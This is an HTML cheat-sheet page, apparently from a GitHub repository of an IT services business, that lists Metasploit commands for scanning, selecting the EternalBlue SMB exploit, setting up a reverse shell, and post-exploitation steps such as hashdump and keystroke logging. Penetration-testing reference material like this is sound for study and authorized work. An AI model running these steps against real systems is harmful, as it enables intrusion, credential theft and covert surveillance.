-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMetasploit.html
More file actions
139 lines (125 loc) · 3.82 KB
/
Metasploit.html
File metadata and controls
139 lines (125 loc) · 3.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Metasploit — Huffles IT Services</title>
<style>
body {
background-color: #0A0A0A;
color: #FFFFFF;
font-family: 'Segoe UI', sans-serif;
padding: 40px 20px;
text-align: center;
}
h1, h2 {
color: #0F52BA;
margin-bottom: 20px;
}
.section {
margin-bottom: 60px;
}
table {
margin: 0 auto;
max-width: 1000px;
border-collapse: collapse;
width: 100%;
}
th, td {
border: 1px solid #0F52BA;
padding: 12px;
text-align: left;
background-color: #111111;
vertical-align: top;
}
th {
background-color: #0F52BA;
color: #FFFFFF;
}
td:first-child {
width: 250px;
white-space: nowrap;
}
footer {
margin-top: 60px;
font-size: 0.9em;
color: #FFFFFF;
}
.back-button {
display: inline-block;
margin-top: 20px;
padding: 12px 24px;
background-color: #0F52BA;
color: #FFFFFF;
text-decoration: none;
border-radius: 6px;
font-weight: bold;
}
.back-button:hover {
background-color: #FFFFFF;
color: #0F52BA;
}
</style>
</head>
<body>
<h1>Metasploit</h1>
<h2>Module Logic & Exploitation Workflows</h2>
<div class="section">
<h2>🔍 Discovery & Scanning</h2>
<table>
<thead><tr><th>Command</th><th>Purpose</th></tr></thead>
<tbody>
<tr><td>msfconsole</td><td>Launch Metasploit CLI interface</td></tr>
<tr><td>search [term]</td><td>Find modules by keyword</td></tr>
<tr><td>use auxiliary/scanner/portscan/tcp</td><td>Run TCP port scan</td></tr>
<tr><td>use auxiliary/scanner/http/title</td><td>Grab web page titles for discovery</td></tr>
<tr><td>services</td><td>List discovered services from scans</td></tr>
</tbody>
</table>
</div>
<div class="section">
<h2>⚙️ Module Setup</h2>
<table>
<thead><tr><th>Command</th><th>Purpose</th></tr></thead>
<tbody>
<tr><td>use exploit/windows/smb/ms17_010_eternalblue</td><td>Select exploit module</td></tr>
<tr><td>show options</td><td>Display required settings for module</td></tr>
<tr><td>set RHOSTS [target]</td><td>Set target IP address</td></tr>
<tr><td>set LHOST [your IP]</td><td>Set local IP for reverse shell</td></tr>
<tr><td>set PAYLOAD [type]</td><td>Choose payload (e.g. reverse_tcp)</td></tr>
</tbody>
</table>
</div>
<div class="section">
<h2>🚀 Exploitation</h2>
<table>
<thead><tr><th>Command</th><th>Purpose</th></tr></thead>
<tbody>
<tr><td>exploit</td><td>Launch the exploit</td></tr>
<tr><td>run</td><td>Alias for exploit (used in auxiliary modules)</td></tr>
<tr><td>sessions</td><td>List active sessions</td></tr>
<tr><td>sessions -i [ID]</td><td>Interact with a specific session</td></tr>
</tbody>
</table>
</div>
<div class="section">
<h2>🧠 Post-Exploitation</h2>
<table>
<thead><tr><th>Command</th><th>Purpose</th></tr></thead>
<tbody>
<tr><td>sysinfo</td><td>Display target system info</td></tr>
<tr><td>hashdump</td><td>Dump password hashes</td></tr>
<tr><td>keyscan_start / keyscan_dump</td><td>Start and dump keystroke logs</td></tr>
<tr><td>upload / download</td><td>Transfer files to/from target</td></tr>
<tr><td>shell</td><td>Drop into system shell</td></tr>
</tbody>
</table>
</div>
<footer>
<p>© 2025 Huffles IT Services LLC — All rights reserved.</p>
<p>
<a class="back-button" href="Huffles-IT-Services-Code-Reference.html">🖥️ Back to Porch</a>
</p>
</footer>
</body>
</html>